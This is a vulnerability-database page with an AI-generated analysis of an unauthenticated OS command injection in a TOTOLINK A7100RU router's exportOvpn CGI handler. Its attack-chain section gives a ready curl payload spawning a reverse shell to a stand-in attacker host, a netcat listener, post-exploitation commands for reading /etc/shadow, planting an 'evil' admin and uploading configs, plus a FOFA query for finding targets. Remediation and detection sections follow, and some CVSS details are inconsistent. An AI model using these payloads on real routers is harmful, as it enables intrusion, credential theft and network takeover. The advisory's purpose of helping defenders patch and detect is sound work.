CVE Professor
/
All CVEs
CVE-2026-134882

CVE-2026-134882 — TOTOLINK A7100RU — CWE-77 · CWE-78

CRITICAL CVSS 10 ⚡ EPSS 2.5% NVD

A weakness has been identified in TOTOLINK A7100RU 7.4cu.2313_B20191024. This issue affects the function exportOvpn of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument Username causes os command injection. The attack is possible to be carried out remotely.

A weakness has been identified in TOTOLINK A7100RU 7.4cu.2313_B20191024. This issue affects the function exportOvpn of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument Username causes os command injection. The attack is possible to be carried out remotely.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
2.5%
30-day probability
In the 85. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: OS command injection in the exportOvpn function of cgi-bin/cstecgi.cgi
CVE: CVE‑2026‑134882
Affected product / firmware: TOTOLINK A7100RU – firmware 7.4cu.2313_B20191024

Technical root‑cause

ComponentVulnerable code pathCWE(s)
CGI handler (cstecgi.cgi)exportOvpn → reads the HTTP GET/POST parameter Username and concatenates it into a shell command that is later executed with system() (or an equivalent popen()/exec*() call).CWE‑78 (OS Command Injection) – the input is not validated or escaped before being handed to the OS shell. <br>CWE‑77 (Improper Neutralization of Special Elements used in a Command) – the same underlying issue.

Why it works:
The CGI script trusts the Username value as a benign identifier (e.g., to name the exported OpenVPN configuration file). Instead of sanitising the value or using a safe API (e.g., execve with an argument vector), it builds a command string such as:

/* Pseudo‑code extracted from the vulnerable function */
char cmd[256];
snprintf(cmd, sizeof(cmd), "/usr/sbin/ovpn-export -u %s -o /tmp/%s.ovpn", username, username);
system(cmd);

Because username is taken directly from the HTTP request, an attacker can inject shell metacharacters (;, &&, |, ` `, $(), etc.) and cause the interpreter to execute arbitrary commands with the privileges of the CGI process (typically root on embedded routers). No authentication (PR:N) or user interaction (UI:N`) is required, which matches the CVSS vector.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI is taken from the CVE description. If a router’s firmware uses a slightly different path, the same technique applies.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify the device model and firmware version.• Passive network scan (Nmap, -sV). <br>• Banner grabbing on port 80/443 reveals “TOTOLINK A7100RU – Firmware 7.4cu.2313_B20191024”.
1.2Locate the CGI endpoint.• Browsing the router’s web UI shows links to “Export OpenVPN”. <br>• The link points to /cgi-bin/cstecgi.cgi?func=exportOvpn&Username=admin.
1.3Verify that the endpoint is reachable from the Internet (or from the attacker’s internal network).• curl -I http://<router_ip>/cgi-bin/cstecgi.cgi returns 200 OK.
1.4Confirm the vulnerable parameter exists.• Simple test: curl "http://<router_ip>/cgi-bin/cstecgi.cgi?func=exportOvpn&Username=test" returns a generated .ovpn file.

2. Exploitation

Goal: Execute an arbitrary OS command (e.g., spawn a reverse shell).

2.1 Craft the malicious payload

Because the command is passed to /bin/sh -c, any shell metacharacter terminates the intended command. A reliable payload is:

; /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

The full request (illustrative) becomes:

curl -G "http://<router_ip>/cgi-bin/cstecgi.cgi" \
     --data-urlencode "func=exportOvpn" \
     --data-urlencode "Username=foo; /bin/bash -c \"bash -i >& /dev/tcp/192.0.2.123/4444 0>&1\""

Explanation of the encoding

  • -G tells curl to send data as a query string (GET).
  • --data-urlencode ensures the semicolon and spaces are URL‑encoded (%3B%20).
  • The injected command is executed after the legitimate exportOvpn command finishes.
  • 2.2 Set up a listener on the attacker machine

    nc -lvnp 4444

    2.3 Trigger the request

    Run the curl command from step 2.1. If the firmware runs the CGI script as root, the reverse shell connects back, giving the attacker a fully interactive root shell on the router.

    Note: If the router only allows POST for this function, replace -G with -d and adjust the content‑type accordingly. The injection principle remains identical.

    3. Post‑exploitation

    Once a root shell is obtained, an attacker can:

    ActionTypical commands (root)
    Persistuci set firewall.@rule[-1].src='*' && uci set firewall.@rule[-1].target='ACCEPT' && uci commit firewall && /etc/init.d/firewall restart (on OpenWrt‑based firmware) or edit /etc/rc.local to add a reverse‑shell launch.
    Create a new admin usernvram set http_username=evil && nvram set http_passwd=$(openssl passwd -1 evilpass) && nvram commit (if NVRAM is used).
    Harvest credentialscat /etc/shadow, cat /etc/passwd, cat /etc/config/network.
    Exfiltrate configurationtar czf /tmp/config.tgz /etc/config && curl -F "file=@/tmp/config.tgz" http://ATTACKER_IP/upload.
    Disable the devicereboot or poweroff to cause denial‑of‑service.
    PivotUse the router as a foothold to scan the internal LAN (ifconfig, arp -a, nmap -sn 192.168.0.0/24).

    Because the vulnerability also scores SC:H / SI:H / SA:H, the attacker can affect confidentiality, integrity, and availability of the entire network segment reachable from the compromised router (e.g., sniff traffic, inject malicious DNS responses, or act as a man‑in‑the‑middle).


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical consequence
    Confidentiality (VC:H)VC:H – attacker can read any file the CGI process can access.Theft of VPN keys, admin passwords, configuration files, and any data stored on attached storage (USB, internal flash).
    Integrity (VI:H)VI:H – attacker can modify files or system settings.Injection of malicious routing rules, replacement of firmware, creation of backdoors, alteration of DNS or DHCP settings.
    Availability (VA:H)VA:H – attacker can disrupt services.Reboot loops, firewall lock‑outs, or complete device bricking, leading to loss of Internet connectivity for the entire site.
    Scope (SC:H / SI:H / SA:H)The impact propagates beyond the vulnerable component to the whole network.Compromise of the internal LAN, lateral movement to other devices, credential reuse against corporate services, and potential pivot to critical infrastructure.

    Bottom line: A successful exploit gives the attacker remote, unauthenticated, full‑system code execution on a network edge device, effectively compromising the entire protected network.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade firmwareDeploy the vendor‑released firmware that fixes exportOvpn (e.g., TOTOLINK A7100RU 7.4cu.2314 or later). The exact version number should be verified from TOTOLINK’s security advisory.
    Verify patchAfter upgrade, request http://<router_ip>/cgi-bin/cstecgi.cgi?func=exportOvpn&Username=test. The response should be a static file without invoking the shell, and attempts to inject ; or ` `` must be rejected with HTTP 400.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Network isolationBlock inbound traffic to TCP 80/443 from the Internet to the router’s management interface using an upstream firewall or ACL. Allow only trusted LAN IPs.
    Disable the vulnerable CGIIf the router’s UI permits, disable the “Export OpenVPN” feature via the web UI or by removing execute permission on /cgi-bin/cstecgi.cgi (chmod 600 /cgi-bin/cstecgi.cgi).
    Input sanitisation via WAF / ModSecurityDeploy a reverse‑proxy WAF in front of the router (or enable built‑in WAF if supported) with a rule that rejects suspicious characters in the Username parameter. Example ModSecurity rule:
    ``apacheconf\nSecRule ARGS:Username "@rx [;&$()]" "id:2026301,phase:2,deny,log,msg:'OS command injection attempt in Username parameter'"``
    Restrict HTTP methodsAllow only POST if the UI does not require GET`. Reject unexpected query strings.
    Change default credentialsEnsure the router’s admin password is strong and not the default “admin”. This does not stop the RCE but reduces the impact of a secondary credential‑theft stage.

    3. Detection

    IndicatorExample log entry (NGINX/Lighttpd style)
    Suspicious characters in UsernameGET /cgi-bin/cstecgi.cgi?func=exportOvpn&Username=foo%3B%20id%20%3E%20/tmp/pwn HTTP/1.1" 200 1234
    Unusual User‑Agent (many exploit scripts use generic agents)User-Agent: curl/7.88.1
    Outbound connection from router (reverse‑shell)On the router’s system log: Jun 12 14:22:31 kernel: [12345.678901] OUTGOING TCP connection to 192.0.2.123:4444
    Creation of unexpected files in /tmpls -l /tmpgrep pwn → -rwxr-xr-x 1 root root 1234 Jun 12 /tmp/pwn
    Process list showing /bin/bash -cpsgrep "bash -c" → root 1234 0.0 0.1 12344 1024 ? Ss 14:22 0:00 /bin/bash -c bash -i >& /dev/tcp/192.0.2.123/4444 0>&1

    SIEM rule sketch (Splunk/ELK):

    index=weblogs (uri_path="/cgi-bin/cstecgi.cgi" AND (Username="*%3B*" OR Username="*%60*" OR Username="*%7C*"))
    | stats count by src_ip, Username, _time
    | where count > 5

    ⚠️ Urgency

  • CVSS = 10.0 (Critical) – remote, unauthenticated code execution with full impact on the entire network.
  • No CISA KEV listing yet, but the vector shows no authentication and network‑only* access, meaning an exploit can be weaponised quickly.
  • Exploit complexity is low (AC:L, AT:N) – a single crafted HTTP request is sufficient.
  • Patch priority: Immediate (Critical).

  • Deploy the vendor firmware fix within 24 hours for any exposed router.

  • If patching cannot be done within that window, apply the network isolation and WAF rule workarounds to block the attack surface while a permanent fix is prepared.




Bottom line: CVE‑2026‑134882 is a classic, high‑severity OS command injection that grants an unauthenticated attacker root‑level control over the TOTOLINK A7100RU router. Prompt patching, coupled with strict network segmentation and WAF hardening, is essential to prevent full network compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="TOTOLINK A7100RU"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
TOTOLINK:A7100RU (7.4cu.2313_B20191024)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for